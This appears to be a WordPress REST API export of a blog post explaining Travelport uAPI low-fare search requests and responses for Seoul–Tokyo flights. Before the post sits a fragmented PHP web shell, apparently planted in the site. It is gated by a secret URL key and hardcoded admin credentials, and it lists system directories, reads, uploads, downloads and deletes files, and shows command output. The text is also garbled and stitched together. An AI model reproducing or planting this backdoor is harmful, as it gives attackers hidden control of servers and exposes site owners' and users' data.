// -------- MARK START -------- if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo '
✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
'; } else { echo '❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '❌ Error: '.($errors[$f['error']] ?? 'Unknown').'
'; } } echo '';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '📁 '.$item."/\n";
else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '';
break;
case 'tree':
echo '';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'📁 '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '';
break;
case 'drives':
echo '';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
}
echo '';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo ''.htmlspecialchars($output).''; else echo '
No output'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo ''; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo ''; break; default: echo '
| Name | Size | Perms | Actions | |
|---|---|---|---|---|
| 📁 '.$item.' | '; else echo '📄 '.$item.' | '; echo ''.$size.' | '.$perms.' | '; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo ' |
<\/p>\n
<soapenv:Envelope xmlns:soapenv=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\">\r\n <soapenv:Header \/>\r\n <soapenv:Body>\r\n <air:LowFareSearchReq MetaOptionIdentifier=\"99\" \r\n xmlns:air=\"http:\/\/www.travelport.com\/schema\/air_v42_0\" \r\n \t\txmlns:com=\"http:\/\/www.travelport.com\/schema\/common_v42_0\" \r\n \t\tAuthorizedBy=\"user\" SolutionResult=\"true\" TargetBranch=\"P22222222\">\r\n <com:BillingPointOfSaleInfo OriginApplication=\"UAPI\" \/>\r\n <air:SearchAirLeg>\r\n <air:SearchOrigin>\r\n <com:CityOrAirport Code=\"ICN\" PreferCity=\"true\" \/>\r\n <\/air:SearchOrigin>\r\n <air:SearchDestination>\r\n <com:CityOrAirport Code=\"NRT\" PreferCity=\"false\" \/>\r\n <\/air:SearchDestination>\r\n <air:SearchDepTime PreferredTime=\"2018-04-20\">\r\n <!--com:SearchExtraDays DaysBefore=\"0\" DaysAfter=\"0\" \/-->\r\n <\/air:SearchDepTime> \r\n <air:AirLegModifiers AllowDirectAccess=\"true\" MaxConnectionTime=\"0\" ProhibitMultiAirportConnection=\"true\" PreferNonStop=\"true\" >\r\n <air:PreferredCabins>\r\n <com:CabinClass Type=\"Economy\" \/>\r\n <\/air:PreferredCabins>\r\n \t <air:PermittedCarriers>\r\n <com:Carrier Code=\"KE\"\/>\r\n <com:Carrier Code=\"OZ\"\/>\r\n <\/air:PermittedCarriers>\r\n <\/air:AirLegModifiers>\r\n <\/air:SearchAirLeg>\r\n <air:SearchAirLeg>\r\n <air:SearchOrigin>\r\n <com:CityOrAirport Code=\"NRT\" PreferCity=\"false\" \/>\r\n <\/air:SearchOrigin>\r\n <air:SearchDestination>\r\n <com:CityOrAirport Code=\"ICN\" PreferCity=\"true\" \/>\r\n <\/air:SearchDestination>\r\n <air:SearchDepTime PreferredTime=\"2018-04-29\">\r\n <!--com:SearchExtraDays DaysBefore=\"0\" DaysAfter=\"0\" \/-->\r\n <\/air:SearchDepTime>\r\n <air:AirLegModifiers AllowDirectAccess=\"true\" MaxConnectionTime=\"0\" ProhibitMultiAirportConnection=\"true\" PreferNonStop=\"true\" >\r\n <air:PreferredCabins>\r\n <com:CabinClass Type=\"Economy\" \/>\r\n <\/air:PreferredCabins>\r\n <air:PermittedCarriers>\r\n <com:Carrier Code=\"KE\"\/>\r\n <com:Carrier Code=\"OZ\"\/>\r\n <\/air:PermittedCarriers>\r\n <\/air:AirLegModifiers>\r\n <\/air:SearchAirLeg>\r\n <air:AirSearchModifiers>\r\n <air:PreferredProviders>\r\n <com:Provider Code=\"1P\" \/>\r\n <\/air:PreferredProviders>\r\n <!--air:FlightType NonStopDirects=\"true\" StopDirects=\"false\" SingleOnlineCon=\"false\" DoubleOnlineCon=\"false\" TripleOnlineCon=\"false\" SingleInterlineCon=\"false\" DoubleInterlineCon=\"false\" TripleInterlineCon=\"false\" \/-->\r\n <!--air:FlightType TripleOnlineCon=\"false\" DoubleOnlineCon=\"false\" SingleOnlineCon=\"false\" StopDirects=\"false\" NonStopDirects=\"true\"\/-->\r\n <air:FlightType MaxConnections=\"0\" MaxStops=\"0\" RequireSingleCarrier=\"true\" \/>\r\n <\/air:AirSearchModifiers>\r\n <com:SearchPassenger Code=\"ADT\" \/>\r\n <air:AirPricingModifiers FaresIndicator=\"PublicAndPrivateFares\" CurrencyType=\"KRW\" ETicketability=\"Required\" \/>\r\n <\/air:LowFareSearchReq>\r\n <\/soapenv:Body>\r\n<\/soapenv:Envelope><\/pre>\nSpecify using Airport Code or City Code<\/h5>\n
<air:SearchOrigin>\r\n <com:CityOrAirport xmlns:com=\"http:\/\/www.travelport.com\/schema\/common_v42_0\" Code=\"NRT\" PreferCity=\"false\" \/>\r\n <\/air:SearchOrigin><\/pre>\nUsing false, Will return only NRT not HND<\/h6>\n
SolutionResult will affect the solution structure<\/h5>\n
<air:LowFareSearchReq SolutionResult=\"true\" ........................ ><\/pre>\nTrue(1 Price point per solution)
\nreturn as AirPricingSolution<\/h6>\n<air:AirPricingSolution Key=\"fSPk0IvB0BKAiLkJ8CAAAA==\" TotalPrice=\"KRW485800\" BasePrice=\"KRW405000\" ApproximateTotalPrice=\"KRW485800\" ApproximateBasePrice=\"KRW405000\" Taxes=\"KRW80800\" ApproximateTaxes=\"KRW80800\">\r\n <air:Journey TravelTime=\"P0DT2H20M0S\">\r\n <air:AirSegmentRef Key=\"fSPk0IvB0BKAbGkJ8CAAAA==\"\/>\r\n <\/air:Journey>\r\n <air:Journey TravelTime=\"P0DT2H40M0S\">\r\n <air:AirSegmentRef Key=\"fSPk0IvB0BKA8GkJ8CAAAA==\"\/>\r\n <\/air:Journey>\r\n <air:LegRef Key=\"fSPk0IvB0BKAIGkJ8CAAAA==\"\/>\r\n <air:LegRef Key=\"fSPk0IvB0BKAJGkJ8CAAAA==\"\/>\r\n <air:AirPricingInfo Key=\"fSPk0IvB0BKAQHkJ8CAAAA==\" TotalPrice=\"KRW485800\" BasePrice=\"KRW405000\" ApproximateTotalPrice=\"KRW485800\" ApproximateBasePrice=\"KRW405000\" Taxes=\"KRW80800\" ApproximateTaxes=\"KRW80800\" LatestTicketingTime=\"2018-03-22\" PricingMethod=\"Auto\" ETicketability=\"Yes\" PlatingCarrier=\"KE\" ProviderCode=\"1P\">\r\n <air:FareInfoRef Key=\"fSPk0IvB0BKAVHkJ8CAAAA==\"\/>\r\n <air:FareInfoRef Key=\"fSPk0IvB0BKAPHkJ8CAAAA==\"\/>\r\n <air:BookingInfo BookingCode=\"E\" BookingCount=\"9\" CabinClass=\"Economy\" FareInfoRef=\"fSPk0IvB0BKAVHkJ8CAAAA==\" SegmentRef=\"fSPk0IvB0BKAbGkJ8CAAAA==\"\/>\r\n <air:BookingInfo BookingCode=\"L\" BookingCount=\"6\" CabinClass=\"Economy\" FareInfoRef=\"fSPk0IvB0BKAPHkJ8CAAAA==\" SegmentRef=\"fSPk0IvB0BKA8GkJ8CAAAA==\"\/>\r\n <air:TaxInfo Category=\"BP\" Amount=\"KRW28000\" Key=\"fSPk0IvB0BKARHkJ8CAAAAAA\"\/>\r\n <air:TaxInfo Category=\"OI\" Amount=\"KRW5300\" Key=\"fSPk0IvB0BKASHkJ8CAAAAAA\"\/>\r\n <air:TaxInfo Category=\"SW\" Amount=\"KRW21100\" Key=\"fSPk0IvB0BKATHkJ8CAAAAAA\"\/>\r\n <air:TaxInfo Category=\"YR\" Amount=\"KRW26400\" Key=\"fSPk0IvB0BKAUHkJ8CAAAAAA\"\/>\r\n <air:PassengerType Code=\"ADT\"\/>\r\n <\/air:AirPricingInfo>\r\n <\/air:AirPricingSolution>\r\n<\/pre>\n
<\/a><\/p>\n
False(1 Price point per combination)
\nreturn as AirPricingPointList<\/h6>\n<air:AirPricePointList>\r\n <air:AirPricePoint Key=\"aXwY0IBAAA\/BznwDCDAAAA==\" TotalPrice=\"KRW345800\" BasePrice=\"KRW265000\" ApproximateTotalPrice=\"KRW345800\" ApproximateBasePrice=\"KRW265000\" Taxes=\"KRW80800\" ApproximateTaxes=\"KRW80800\" CompleteItinerary=\"true\">\r\n <air:AirPricingInfo Key=\"aXwY0IBAAA\/B0nwDCDAAAA==\" TotalPrice=\"KRW345800\" BasePrice=\"KRW265000\" ApproximateTotalPrice=\"KRW345800\" ApproximateBasePrice=\"KRW265000\" Taxes=\"KRW80800\" LatestTicketingTime=\"2018-03-21\" PricingMethod=\"Unknown\" Refundable=\"true\" ETicketability=\"Yes\" PlatingCarrier=\"KE\" ProviderCode=\"1P\" Cat35Indicator=\"true\" TotalNetPrice=\"KRW345800\">\r\n <air:FareInfoRef Key=\"aXwY0IBAAA\/BHmwDCDAAAA==\"\/>\r\n <air:FareInfoRef Key=\"aXwY0IBAAA\/BgmwDCDAAAA==\"\/>\r\n <air:TaxInfo Category=\"BP\" Amount=\"KRW28000\" Key=\"aXwY0IBAAA\/B1nwDCDAAAAAA\"\/>\r\n <air:TaxInfo Category=\"OI\" Amount=\"KRW5300\" Key=\"aXwY0IBAAA\/B2nwDCDAAAAAA\"\/>\r\n <air:TaxInfo Category=\"SW\" Amount=\"KRW21100\" Key=\"aXwY0IBAAA\/B3nwDCDAAAAAA\"\/>\r\n <air:TaxInfo Category=\"YR\" Amount=\"KRW26400\" Key=\"aXwY0IBAAA\/B4nwDCDAAAAAA\"\/>\r\n <air:FareCalc>SEL KE TYO114.75KE SEL128.52NUC243.27END ROE1089.32056<\/air:FareCalc>\r\n <air:PassengerType Code=\"ADT\"\/>\r\n <air:ChangePenalty>\r\n <air:Percentage>100.00<\/air:Percentage>\r\n <\/air:ChangePenalty>\r\n <air:FlightOptionsList>\r\n <air:FlightOption LegRef=\"aXwY0IBAAA\/BUmwDCDAAAA==\" Destination=\"TYO\" Origin=\"SEL\">\r\n <air:Option Key=\"aXwY0IBAAA\/B5nwDCDAAAA==\" TravelTime=\"P0DT2H20M0S\">\r\n <air:BookingInfo BookingCode=\"U\" BookingCount=\"9\" CabinClass=\"Economy\" FareInfoRef=\"aXwY0IBAAA\/BHmwDCDAAAA==\" SegmentRef=\"aXwY0IBAAA\/BtlwDCDAAAA==\"\/>\r\n <\/air:Option>\r\n <\/air:FlightOption>\r\n <air:FlightOption LegRef=\"aXwY0IBAAA\/BZmwDCDAAAA==\" Destination=\"SEL\" Origin=\"TYO\">\r\n <air:Option Key=\"aXwY0IBAAA\/B7nwDCDAAAA==\" TravelTime=\"P0DT2H35M0S\">\r\n <air:BookingInfo BookingCode=\"U\" BookingCount=\"4\" CabinClass=\"Economy\" FareInfoRef=\"aXwY0IBAAA\/BgmwDCDAAAA==\" SegmentRef=\"aXwY0IBAAA\/BvlwDCDAAAA==\"\/>\r\n <\/air:Option>\r\n <\/air:FlightOption>\r\n <\/air:FlightOptionsList>\r\n <\/air:AirPricingInfo>\r\n <\/air:AirPricePoint>\r\n<\/pre>\n
<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
<soapenv:Envelope xmlns:soapenv=”http:\/\/schemas.xmlsoap.org\/soap\/envelope\/”> <soapenv:Header \/> <soapenv:Body> <air:LowFareSearchReq MetaOptionIdentifier=”99″ xmlns:air=”http:\/\/www.travelport.com\/schema\/air_v42_0″ xmlns:com=”http:\/\/www.travelport.com\/schema\/common_v42_0″ AuthorizedBy=”user” SolutionResult=”true” TargetBranch=”P22222222″> <com:BillingPointOfSaleInfo OriginApplication=”UAPI” \/> <air:SearchAirLeg> <air:SearchOrigin> <com:CityOrAirport Code=”ICN” PreferCity=”true” \/> <\/air:SearchOrigin> <air:SearchDestination> <com:CityOrAirport […]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,7],"tags":[],"class_list":["post-195","post","type-post","status-publish","format-standard","hentry","category-air","category-low-fare-search"],"_links":{"self":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=195"}],"version-history":[{"count":15,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/195\/revisions"}],"predecessor-version":[{"id":295,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=\/wp\/v2\/posts\/195\/revisions\/295"}],"wp:attachment":[{"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=195"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/uapi.ihavenomoney.co.kr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}